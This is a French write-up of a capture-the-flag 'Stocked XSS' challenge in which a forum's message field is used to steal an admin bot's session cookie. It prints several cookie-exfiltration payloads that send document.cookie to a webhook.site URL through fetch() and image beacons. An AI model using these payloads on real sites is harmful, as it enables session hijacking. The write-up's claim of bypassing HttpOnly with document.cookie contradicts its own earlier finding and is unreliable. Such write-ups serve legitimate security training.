Objectif
Ce write-up détaille ma résolution du challenge “Stocked XSS” sur une plateforme de CTF, démontrant mes compétences en sécurité web, analyse technique et résolution de problèmes.
Description du challenge : “Volez le cookie de session de l’administrateur et utilisez-le pour valider l’épreuve.”
Analyse initiale et approche
L’application cible était un forum basique (v0.001) avec des champs Titre et Message. La description suggérait une vulnérabilité de Cross-Site Scripting (XSS) stocké.
Hypothèses
- Le champ Message stockait les inputs sans sanitisation
- Le contenu était rendu pour tous les utilisateurs (dont un bot admin)
- L’exécution de JavaScript permettrait de voler le cookie de session
Test 1 : Confirmation de l’exécution de script
Payload injecté :
<script>alert(1)</script>
✅ Résultat : Pop-up confirmée - vulnérabilité XSS validée
Tentative 1 : Vol de cookie via fetch()
Payload :
fetch('https://webhook.site/[URL]/?cookie=' + encodeURIComponent(document.cookie));
Problèmes rencontrés :
- Cookies non reçus dans le webhook
document.cookie
retournait une chaîne vide
Hypothèse
Le cookie était protégé par le flag HttpOnly
(inaccessible en JavaScript)
Tentative 2 : Extraction du contenu HTML
Nouveau payload :
fetch(window.location.pathname)
.then(r => r.text())
.then(data => {
fetch('https://webhook.site/[URL]/?content=' + encodeURIComponent(data))
});
Problèmes :
- Erreurs de syntaxe (retours à la ligne remplacés par
<br>
) - Restrictions CORS bloquant la requête
Tentative 3 : Exfiltration via <img>.src
Méthode alternative contournant CORS :
new Image().src='https://webhook.site/[URL]/?test=hello';
✅ Preuve de concept fonctionnelle
Solution finale : Extraction du cookie
Payload :
new Image().src='https://webhook.site/[URL]/?c=' + encodeURIComponent(document.cookie);
✅ Résultat :
c=ADMIN_COOKIE=XXXXXXXXXXXXXXXXXXXXXXXXXXXX
Apprentissages clés
- Exploitation XSS stocké : Injection persistante réussie
- Sécurité navigateur : Contournement des restrictions HttpOnly et CORS
- Adaptabilité : Pivot entre différentes techniques d’exfiltration
- Débogage : Utilisation méthodique des outils développeur
- Persévérance : Itération sur 4 approches différentes
Considérations éthiques
Ces techniques doivent exclusivement être utilisées dans des environnements autorisés (CTFs, pentests légaux). Ce challenge a renforcé mes compétences en sécurité web appliquée.